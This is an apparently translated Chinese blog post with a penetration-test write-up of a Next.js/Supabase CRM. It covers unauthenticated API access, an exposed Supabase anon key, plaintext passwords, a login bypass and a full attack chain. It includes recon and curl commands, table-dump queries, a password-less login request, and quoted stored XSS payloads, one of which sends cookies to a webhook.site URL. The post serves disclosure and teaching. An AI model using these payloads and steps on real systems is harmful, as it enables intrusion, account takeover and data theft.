文章总结: 本文记录了对真实Next.js/SupabaseCRM系统的渗透测试,发现未授权API访问、密钥泄露、明文密码及认证绕过等严重漏洞。攻击者无需凭证即可导出全量数据,且发现系统已被入侵。文章复盘了完整攻击链,提供了关于鉴权、加密与输入验证的紧急修复建议,警示基础安全配置缺失的巨大风险。 综合评分: 95 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验
我对一个真实的CRM系统进行了渗透测试,发现了4个关键漏洞——以下是完整的攻击链
haidragon haidragon
安全狗的自我修养
2026年5月15日 12:23 中国香港
在小说阅读器读本章
去阅读
官网:http://securitytech.cc
披露通知:本评估在组织首席执行官及高级领导层的明确书面授权下进行。所有敏感细节——包括目标域名、公司名称、Supabase项目标识符、API密钥、凭证、用户邮箱地址和个人数据——均被编辑或匿名处理。举报后未保留任何敏感信息。本文仅供教育用途。
背景
几周前,我的老师给我交了一个任务:“渗透测试我们的内部CRM平台。你拥有完全授权——除了DDoS。”
那是一个真正的现场制作系统。一个由Supabase/PostgreSQL支持的Next.js应用,供教师、支持人员和管理员管理学生、潜在客户、付款和内部沟通。真实的人。真实数据。
我原本以为大概会有一两个有趣的发现。但我发现的是一条完整、无阻碍的路径,从零知识到完整的数据库导出——从不需要用户名或密码。当我深入数据库时,我意识到我并不是第一个发现这个的人。
这就是那次评估的故事。
交战范围与规则
参数详情目标 内部CRM网页应用(生产环境) Stack Next.js(SSR)、Supabase/PostgreSQL、nginx 评估类型 黑箱网页应用 渗透测试授权 CEO + 高级讲师(书面) 排除 DDoS / 拒绝服务工具 Burp Suite Pro、Nmap、ffuf、feroxbuster、subfinder、whatweb、curl
第一阶段:侦察
我像往常一样开始——先被动侦查,然后主动计数。
# Port scan
nmap -sC -sV -oN nmap/target.txt <TARGET_IP>
# Subdomain enumeration
subfinder -d <TARGET_DOMAIN> -o subdomains.txt# Technology fingerprinting
whatweb https://<TARGET_DOMAIN>
Nmap结果:
22/tcp open ssh OpenSSH (Ubuntu)
80/tcp open http nginx/1.24.0 (Ubuntu) → redirect to HTTPS
443/tcp open https nginx/1.24.0
Whatweb和浏览器分析证实了:
-
框架:
Next.js(SSR)——构建ID在页面源码中可见
-
服务器:
Ubuntu Linux 上的 nginx/1.24.0
-
认证界面:自定义登录表单
/[locale]/login
没有什么能立刻被利用的。是时候深入挖掘了。
第二阶段:攻击面映射
目录与API端点发现
feroxbuster -u https://<TARGET> -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-x js,json,php -mc 200,301,302,401,403,405
发现的有趣端点:
/api/health → 200 OK
/api/tickets → 200 OK ← wait, what?
/api/search?q=* → 200 OK
/api/dashboard → 200 OK
/api/broadcast → 421 Misdirected Request
我盯着看了一会儿。该端点从URL中看不到任何认证要求。我用Raw攻击它,没有任何会话cookie或代币:/api/tickets``curl
curl -s https://<TARGET>/api/tickets
回复立刻回来了:一整套JSON数组的工单记录。名字、描述、内部笔记。没有代币。没有会谈。什么都没有。
那时我就知道这将是一场严肃的订婚。
Next.js丛分析
Next.js将其路由和配置捆绑成静态JavaScript文件,提供给所有访客。我调出了建造清单:
/_next/static/<BUILD_ID>/_buildManifest.js
在这些捆绑包中,我发现了对多条内部路由、API 路径的引用,更重要的是,这些变量泄露到了客户端 JavaScript 中。其中之一是Supabase配置模块。
第三阶段:漏洞识别与利用
V-01 — 访问控制失效:未认证的API访问 [关键 |CVSS 9.8]
CWE-284 — 不当访问控制
多个API端点都返回了完整的JSON数据,完全没有任何认证。我用零资质测试了每一个:
# All of these returned HTTP 200 with full data — no token, no cookie, nothing
curl https://<TARGET>/api/tickets
curl https://<TARGET>/api/search?q=*
curl https://<TARGET>/api/dashboard
curl https://<TARGET>/api/health
该终端返回了汇总的业务指标——学生人数、收入汇总、潜在客户管道数据——所有数据均对公众开放。/api/dashboard
端点返回Node.js运行时版本和服务器运行时间。单独来说是小问题,但对有针对性的攻击者很有用。/api/health
影响:完全泄露所有申请数据的机密性,且未事先访问。
V-02 — 在客户端JavaScript中暴露的Supabase Anon API密钥 [关键 |CVSS 9.1]
CWE-522 — 资质保护不足
这发现打开了所有其他问题。
在分析Burp Suite截获的请求时,我注意到浏览器直接调用了一个子域名。请求中包含一个头部——而该密钥直接来自提供给任何访客的JavaScript捆绑包。*.supabase.co``apikey
Host: [REDACTED].supabase.co
apikey: [REDACTED — JWT token with role: "anon", expiry: year 2091]
Authorization: Bearer [SAME REDACTED KEY]
钥匙的有效期为2091年。实际上是永久的。
Supabase 暴露了一个 PostgREST API——一个 HTTP 接口,可以直接映射到 PostgreSQL 表。有了这个密钥且没有启用行级安全(RLS)策略,我可以直接读取整个数据库。没有身份验证。没有特权升级。只是一个放在任何访客都能下载的JavaScript里的密钥。
# Direct Supabase PostgREST queries — all returned HTTP 200
GET /rest/v1/users?select=* → 38 user records (including plaintext passwords)
GET /rest/v1/leads?select=* → 39 lead records (names, emails, phone numbers, deal values)
GET /rest/v1/payments?select=* → 31 payment and invoice records
GET /rest/v1/courses?select=* → Course catalog with pricing and instructor assignments
GET /rest/v1/instructor_notes?select=* → 29 private instructor notes
GET /rest/v1/chats?select=* → Internal chat messages
GET /rest/v1/schedule_events?select=* → 30 schedule entries
GET /rest/v1/automations?select=* → Business automation rules and triggers
我刚刚把整个数据库从浏览器里导出了。
根本原因:Supabase 密钥嵌入在客户端的 JavaScript 捆绑中,所有 Supabase 表都禁用了行级安全——这意味着该角色对每个表都有不受限制的读取权限。anon``anon
影响:对所有用户数据、财务记录、个人身份信息、内部通信和业务逻辑进行完全且未经认证的窃取。
本应发生的事情:
- 密钥绝不应出现在客户端代码中
anon - 所有 Supabase 表都必须启用 RLS 策略
- API 密钥必须仅存在于服务器端环境变量中,作为代理层
V-03 — 明文密码存储 [关键 |CVSS 9.0]
CWE-256 — 密码的明文存储
当我查询表格时,回复中包含了一个字段。不是哈希。不是bcrypt输出。每个账户的明文密码。users``password
{
"email":"[REDACTED]@[REDACTED].edu.az",
"role":"SUPER_ADMIN",
"password":"[REDACTED]"
}
38条用户记录。所有角色。所有密码。可见、可读、立即可用。
我这里不会详细说明具体资历——这些信息已经被报告,组织也已被通知。但具体细分包括SUPER_ADMIN、讲师、支持和学生角色——整个用户层级。
这一发现的连锁影响:由于密码是明文的,任何访问数据库(无论是通过V-02还是未来任何泄露)的人,都会立即拥有每个账户的有效凭证。没有裂开。没有GPU农场。直接复制粘贴。
此外,如果任何用户在外部服务——电子邮件、银行、其他平台——重复使用这些密码——这些密码也会被暴露。
本应发生的事情:
- 密码必须在存储前使用bcrypt(费用≥12)、scrypt或Argon2id进行哈希
- 该字段绝不能在任何API响应中返回——即使是给管理员也不行
password - Supabase 认证(GoTrue)默认负责此处理;自定义认证流程绝不应存储明文
V-04 — 认证绕过:可选密码字段 [关键 |CVSS 9.8]
CWE-287 — 认证不当
这时我已经掌握了数据库中所有用户的邮箱。但我想测试一下我是否真的需要密码。
我登录了Burp Suite Repeater,捕获了一个正常的登录请求,并完全移除了该字段:password
POST /api/login HTTP/2
Host: [REDACTED]
Content-Type: application/json
{"email": "[REDACTED_ADMIN_EMAIL]"}
服务器接受了。
没有密码。没有错误。应用程序将请求处理为有效的认证尝试。
为什么会这样:登录处理器很可能通过电子邮件进行数据库查询,如果未提供密码,比较逻辑会返回或(假检查通过),而不是抛出验证错误。只要有一次服务器端检查缺失——本可以完全避免这种情况。true``null``if (!password) return 400
与V-01和V-02的联合撞击:攻击者可以枚举未认证API中的所有用户邮件,然后仅用邮箱地址绕过任何账户的认证。任何步骤都不需要知道密码。
本应发生的事情:
- 在 API 处理程序层执行严格的模式验证(Zod 或 Joi)。
- 在执行任何数据库查询之前,和 都必须同时存在、非空且非空
email``password - 对于任何缺失的认证字段,返回带有通用错误信息的HTTP 400
V-05 — 存储跨站脚本:多端点 [高频 |CVSS 8.2]
CWE-79 — 网页生成过程中输入的中和不当
在阅读数据库导出文件时,我注意到 and 表格中有些异常。有些记录的数值看起来明显不标准:instructor_notes``tickets
tickets.title: "> <script>alert('XSS')</script>
tickets.title: <imgsrc=xonerror="alert('XSS_SUCCESS_DASHBOARD')">
leads.full_name: <script>fetch('https://webhook.site/[REDACTED]
?sessiya=' + btoa(document.cookie))</script>instructor_notes.author: <details open ontoggle=alert(1)> Administrator
instructor_notes.content: <img src=x onerror="alert('Sizin sessiyanız oğurlandı: '
+ document.cookie)">chats.content: "> <script>alert('XSS')</script>
存储XSS有效载荷——跨四张不同的表格。而webhook有效载荷则主动向外部服务器发送base64编码的cookie数据。leads.full_name
我确认了应用程序渲染这些字段时没有进行净化。任何经过认证的用户查看导览、工单或讲师笔记部分时,都会在其浏览器中执行这些脚本。
“通过 to 的外泄有效载荷”意味着攻击者在潜在客户记录中植入该负载时,会等待管理员打开潜在客户页面——并自动接收其会话令牌。document.cookie``fetch()``webhook.site
本应发生的事情:
- 所有用户输入必须在数据库写入前在服务器端进行净化
- 输出必须在渲染时编码——React 默认的 JSX 转义阻止了这一点,但绕过了它
dangerouslySetInnerHTML - 严格的内容安全策略(CSP)头部阻止内联脚本并限制目的地
fetch() - 必须从数据库中清除现有的有效载荷记录
V-06 — CORS 配置错误:万用卡起源 [高频 |CVSS 7.5]
CWE-942 — 宽容跨原产资源共享政策
每个API端点的OPTIONS预检响应返回:
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
万用符意味着互联网上的任何网站都可以向这些端点发送JavaScript发起的交叉来源请求并阅读完整响应。Access-Control-Allow-Origin
结合V-01(未认证的API访问),这意味着恶意网站可以悄无声息地从任何访客浏览器中收集所有CRM数据——用户只需访问页面即可。
本应发生的事情:
- 用显式原点允许表替换
* - 限制允许的方法只限于每个端点实际需要的
- 使用Next.js中间件来执行 CORS 而不是仅依赖 nginx 头部
V-07 — 业务逻辑缺陷:负支付金额 [中等 |CVSS 6.5]
CWE-840 — 业务逻辑错误
在付款表中,我发现了负的货币价值记录:
student: [REDACTED] |amount:-99999|invoice:INV-TEST-99999|status:paid
student: [REDACTED] |amount:-3000|invoice:HACK-999-001|status:paid
发票ID尤其引人注目——它表明这并非意外录入。HACK-999-001
API在没有任何服务器端验证的情况下接受了这些数值。如果应用程序将负金额处理为退款或抵扣,攻击者可能会操纵财务记录或腐败报告。
本应发生的事情:
- 服务器端验证拒绝任何支付金额≤0
- 数据库级约束:在支付表上
CHECK (amount > 0) - 异常记录的调查与清理
V-08 — 信息披露:堆栈与模式细节 [LOW |CVSS 4.3]
CWE-200 — 敏感信息的暴露
多个端点泄露了技术实现细节:
GET /api/health
# Returns: {"status":"healthy","node_version":"v24.15.0","uptime":1.019}
GET /rest/v1/instructors
# Returns: PGRST205 hint: 'Perhaps you meant public.instructor_notes'GET /rest/v1/schedules
# Returns: PGRST205 hint: 'Perhaps you meant public.schedule_events'
PostgREST 错误提示本质上是一个免费的模式枚举工具——当你猜错时,它们会显示准确的数据库表名。Next.js Build ID 也嵌入在每个页面响应中,实现了精确的版本关联。
单独看严重性较低,但对针对目标攻击者来说,结合较高严重性发现提供了有用的背景。
令人不安的发现:先前利用的证据
整个评估中最令人不安的时刻,是仔细阅读数据库时。
存储在生产记录——工单、付款——中,有明显不属于应用合法数据的有效载荷:
-
PostgreSQL RCE 尝试:语法存储在工单记录中,暗示至少有一个外部行为者尝试通过数据库执行服务器端命令
COPY FROM PROGRAM -
Go 模板注入负载:——存储在另一张工单中,用于探测服务器端模板注入
{{range .}}{{end}}{{template "exploit" .}} -
XSS负载主动向 webhook.site 发送数据
——确认至少有一个外部方已经植入了泄露脚本并接收会话Cookie
-
支付表中的Burp Suite Collaborator(oastify.com)OAST负载——表明外部第三方正在进行带外测试
这不是理论上的攻击面。有人已经发现了这些漏洞,并且正在积极利用它们。
完整攻击链
以下是完整的杀戮链——从零知识到彻底系统被攻破——共八个步骤:
[Attacker — No credentials, no prior knowledge]
│
▼
[1] Passive recon → identify Next.js + Supabase stack from JS bundles
│
▼
[2] feroxbuster → discover /api/tickets, /api/search, /api/dashboard
│
▼
[3] curl /api/tickets (no auth) → 200 OK → V-01 confirmed
│
▼
[4] Burp Suite intercept → extract Supabase URL + anon key from headers
│
▼
[5] GET /rest/v1/users?select=* → 38 users, plaintext passwords, all roles
GET /rest/v1/leads?select=* → 39 lead records with PII
GET /rest/v1/payments?select=* → 31 payment records
... (complete database dump — V-02, V-03)
│
▼
[6] POST /api/login {"email": "[ANY_ADMIN_EMAIL]"} (no password) → auth bypass
→ SUPER_ADMIN session obtained — V-04
│
▼
[7] Authenticated access → inject XSS payload in leads/tickets/notes
→ Any admin who views the record executes the payload
→ Session cookie exfiltrated to attacker webhook — V-05
│
▼
[8] Full account takeover — all SUPER_ADMIN, INSTRUCTOR, SUPPORT accounts
accessible. All data readable, modifiable, deletable.
TOTAL TIME FROM ZERO TO FULL COMPROMISE: < 30 minutes
修复路线图(摘要)
- 立即 — V-02 — 轮换 Supabase 匿名密钥;启用所有表的 RLS — 24 小时 2.立即 — V-03 — 哈希所有密码(bcrypt/Argon2id);强制重置密码 — 24 小时 3.紧急 — V-01 — 为所有 /api/* 路由添加认证中间件 — 72 小时 4.紧急 — V-04 — 强制强制服务器端密码字段验证 — 72 小时 5.紧急 — V-05 — 净化所有输入;实现 CSP;清除 XSS 负载 — 1 周 6。高 — V-06 — 用明确的起源允许列表替换万用 CORS — 1 周 7。中 — V-07 — 验证 API 和数据库层面的 0 > 数量 — 2 周 8。低 — V-08 — 限制 /api/health;抑制冗长错误信息 — 1 月
开发者要点
这里发现的漏洞并非奇特或理论上的。它们是现代网页应用开发中最常见且可预防的错误之一。
1. 绝不要在客户端 JavaScript 中放置秘密。JavaScript 捆包中的 Supabase 匿名密钥是每个访问者都会获得的密钥。把你的前端代码当作完全公开的。所有 API 密钥都属于服务器端环境变量,通过服务器端路由代理。
2. Supabase RLS 不是可选的。Supabase 的行级安全性之所以存在,正是因为 PostgREST API 设计成可以从客户端调用。没有 RLS 策略时,你的密钥可以读取每个表中的每一行。启用 RLS。添加显式策略。默认拒绝。anon
3. 验证服务器上的认证输入。切勿相信请求体包含应有内容。如果缺少,立即返回400。在任何数据库查询运行前,使用Zod或Joi在API处理层强制执行输入模式。password
4. 绝不要存储明文密码。这在2026年应该是不言而喻的,但事实就是如此。使用bcrypt、scrypt或Argon2id。绝不要比较明文。绝不要在任何API响应中返回密码字段——即使是给已认证的管理员。
5. 净化所有输入,编码所有输出。如果用户提供的数据在浏览器中渲染,必须在存储前进行净化,并在渲染时编码。React 默认的 JSX 转义有帮助——但前提是你不绕过它。dangerouslySetInnerHTML
6. 监控您自己的数据库是否有入侵迹象。生产数据中存在PostgreSQL的RCE尝试、模板注入负载以及活跃的Cookie窃取XSS脚本,是先前被利用的强烈指标。定期的数据库审计和异常检测本可以更早发现这些问题。
负责任披露时间表
日期 行动 2026年4月25日 评估已获得全面授权 2026年4月25日 完整技术报告提交给MilliSec领导层 2026年4月25日 组织收到需立即采取的关键发现通知 2026年5月 内部审查和编辑后发布报告
总结
这是我做过的最让人眼界开阔的评估之一。这并非因为技术复杂——这些漏洞都不需要高级利用。最难的是写带有卷发的GET请求。
令人警醒的是,其他行为者已经走上了同样的道路。数据库中有PostgreSQL的RCE尝试、活跃的XSS数据泄露和Burp Collaborator回调的痕迹——这些都是比我先发现这些内容的人留下的,可能在悄悄窃取数据。
好消息是:这些漏洞每一个都是可以修复的。大多数人都是几个小时内完成的。V-04的补丁实际上就是一句话。V-02 的补丁是将字符串从文件移动到文件。修复这些问题的门槛很低。不修复它们的成本就是一切。if``.js``.env.local
-
-
公众号:安全狗的自我修养
-
vx:2207344074
-
http://gitee.com/haidragon
-
http://github.com/haidragon
-
bilibili:haidragonx
-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全狗的自我修养 haidragon haidragon《我对一个真实的CRM系统进行了渗透测试,发现了4个关键漏洞——以下是完整的攻击链》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论